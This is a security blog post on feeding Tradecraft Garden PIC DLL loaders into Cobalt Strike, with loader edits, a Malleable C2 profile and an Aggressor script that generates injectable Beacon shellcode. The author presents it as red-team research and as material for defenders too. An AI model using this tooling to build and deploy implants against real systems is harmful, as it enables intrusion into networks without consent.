Harvesting the Tradecraft Garden

Intro

Raphael Mudge is the original creator of Cobalt Strike and now author/blogger at the Adversary Fan Fiction Writers Guild. His latest project is the Tradecraft Garden, which is a collection of resources centred around the development of position-independent DLL loaders. The tradecraft garden contains two main components:

  1. Crystal Palace - a linker and linker script language designed specifically for PIC DLL loaders.
  2. The Garden - a collection of pre-made DLL loaders to demonstrate various design patterns and loading techniques.

For a full and complete overview of the tradecraft garden, I highly recommend reading the accompanying blog post and visiting the Amphitheatre for some easy-to-digest videos.

The tl;dr is that you build a loader using the mingw-w64 toolchain to produce an object file:

rasta@DESKTOP-1U6AHIU:/mnt/c/Tools/TCG/garden/simple_rdll$ make clean; make all
rm -f bin/*
mkdir bin
i686-w64-mingw32-gcc -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x86.o
x86_64-w64-mingw32-gcc -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o

And then use the Crystal Palace link script to append the resources you want to load:

rasta@DESKTOP-1U6AHIU:/mnt/c/Tools/TCG/cp$ ./link ../garden/simple_rdll/loader.spec demo/test.x64.dll test.x64.bin

The magic behind how these .spec files work can be found in the project's documentation. The result is shellcode blob that can be injected into a process.

Now, Raffi being Raffi, Crystal Palace is obviously written in Java and since Cobalt Strike's Aggressor script is built on Sleep (his Java-based scripting language), it struck me that it should be possible to integrate directly into Cobalt Strike's payload generation workflow.

The purpose of this post is to demonstrate how this may be achieved.

Tweaking a loader

In reviewing the source code for the simple_rdll loader, we see that it calls the DLL's entry point with DLL_PROCESS_ATTACH.

/* excute it! */
EntryPoint(&data, dst)((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);

loader.c

This is fine for most normal DLLs, but if you know anything about Beacon, then you'll know that its entry point should be called at least twice. Once with DLL_PROCESS_ATTACH, passing Beacon's own base address; and once with DLL_BEACON_START, passing the start address of the loader itself. This is required so that Beacon can free the reflective loader from memory once its up and running. You may even call the entry point three times if you're leveraging Beacon User Data; in which case you'd call it with DLL_BEACON_USER_DATA, passing a pointer to the BUD structure.

However, we'll keep things simple for this post and simply update it like so:

#define DLL_BEACON_START 4

loader.h

/* get AddressOfEntryPoint */
DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);

/* call Beacon's entrypoints */
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
entryPoint((HINSTANCE)src, DLL_BEACON_START, NULL);

loader.c

Malleable C2

When developing a new loader, it's best to start off with as basic a Beacon as you can possibly get. This means disabling any obfuscations that rely on the default reflective loader to work. If our custom loader doesn't know how to undo any obfuscations that have been applied to Beacon, then it may not load correctly.

Here's a simple example that worked for me.

stage {
    set rdll_loader "PrependLoader";
    set cleanup "true";
    set sleep_mask "false";
    transform-obfuscate { }
}

example.profile

Aggressor

Now for the Aggressor script. The first thing we need to take care of is importing crystalpalace.jar. Sleep can dynamically import packages using an 'import' statement, like: import package from: /path-to/filename.jar;.

The path can be absolute or relative. If you want to keep it clean and use a relative path, copy crystalpalace.jar into the Cobalt Strike client directory so that it lives next to the executable:

- cobaltstrike
  |
  - client
    |
    - cobaltstrike.exe
    - cobaltstrike-client.jar
    - crystalpalace.jar

The Crystal Palace 'LinkSpec' API that we need to interact with is documented here. There's a static LinkSpec.Parse​ method that takes the path to a .spec file and returns a LinkSpec object. This object has an instance method called run, which accepts the raw bytes of the DLL we want to load and a HashMap containing any variables. The simple_rdll loader doesn't require any variables, so we can provide an empty map in this instance.

The Sleep manual explains how we can access Java objects but here's a complete working example:

import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;

sub print_info {
   println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Palace]\o " . $1);
}

print_info("simple_rdll loaded");

set BEACON_RDLL_GENERATE {
    local('$beacon $arch $file_path $spec $payload');
    
    $beacon = $2;
    $arch   = $3;

    print_info("Beacon Size: " . strlen($beacon));

    # get path to spec file
    $file_path = getFileProper(script_resource("garden"), "simple_rdll", "loader.spec");

    # parse that spec
    print_info("Calling LinkSpec.Parse");
    $spec = [LinkSpec Parse: $file_path];

    # apply spec to beacon
    print_info("Calling spec.run");
    $payload = [$spec run: $beacon, [new HashMap]];

    if (strlen($payload) == 0) {
        warn("Failed to build payload");
        return $null;
    }

    print_info("Payload Size: " . strlen($payload));

    # return the new payload
    return $payload;
}

set BEACON_RDLL_SIZE {
   return "0";
}

The BEACON_RDLL_GENERATE hook is called each time a stageless Beacon payload is generated from the Cobalt Strike client, and allows users to replace the default reflective loader as described in the UDRL documentation. All we have to do here is get the path to the desired specification file and apply it to the raw Beacon DLL that gets passed is the $2 variable. Crystal Palace takes care of all the hard work.

Load the script, gen a payload, and voila.

Now we have a fully PIC loader for Beacon.

Passing variables

Some of the loaders, such as simple_rdll_guardrail, make use of user-supplied variables to function. This particular loader expects the resources to be encrypted with a key that it will derive at runtime to decrypt them. We must know this key ahead of time and pass it to Crystal Palace so that it can perform the encryption.

The example command given is ./link stage1.spec demo/test.x64.dll out.bin ENVKEY=0302010003020100. Even though the command-line tool accepts a KEY=string mapping, the underlying run API requires a $KEY=byte[] mapping (yes, with the $). To replicate the same in Aggressor, we could use Sleep's cast function.

# build hashmap
$hashMap = [new HashMap];
[$hashMap put: "\$ENVKEY", cast("\x00\x01\x02\x03 ... ", 'b')];

# apply spec to beacon
print_info("Calling spec.run");
$payload = [$spec run: $beacon, $hashMap];

Conclusion

This was a fun little experiment for getting a simple PIC loader working with Beacon and the Tradecraft Garden has lots of code examples just begging to be expanded upon. I didn't get into the details around the Crystal Palace specification language as it's quite expansive and wasn't really the focus of the post. However, I can see how it can simplify a lot of the headaches associated with PIC loader development. The adoption of PIC loaders has thus far been quite slow, probably due to this high barrier to entry. Hopefully, this project makes PIC more accessible to more people.

And to reiterate - the purpose of the garden is not purely as an offensive stick to beat defenders around the head with. It's to decompose PIC tradecraft into self-contained units that can be understood by both sides. I can see a world where blue use the garden's resources to build defences against PIC loaders, and red validates them via testing scenarios. My interest in integrating the loaders into Cobalt Strike is simply a vehicle to enable that to be carried out with as little friction as possible.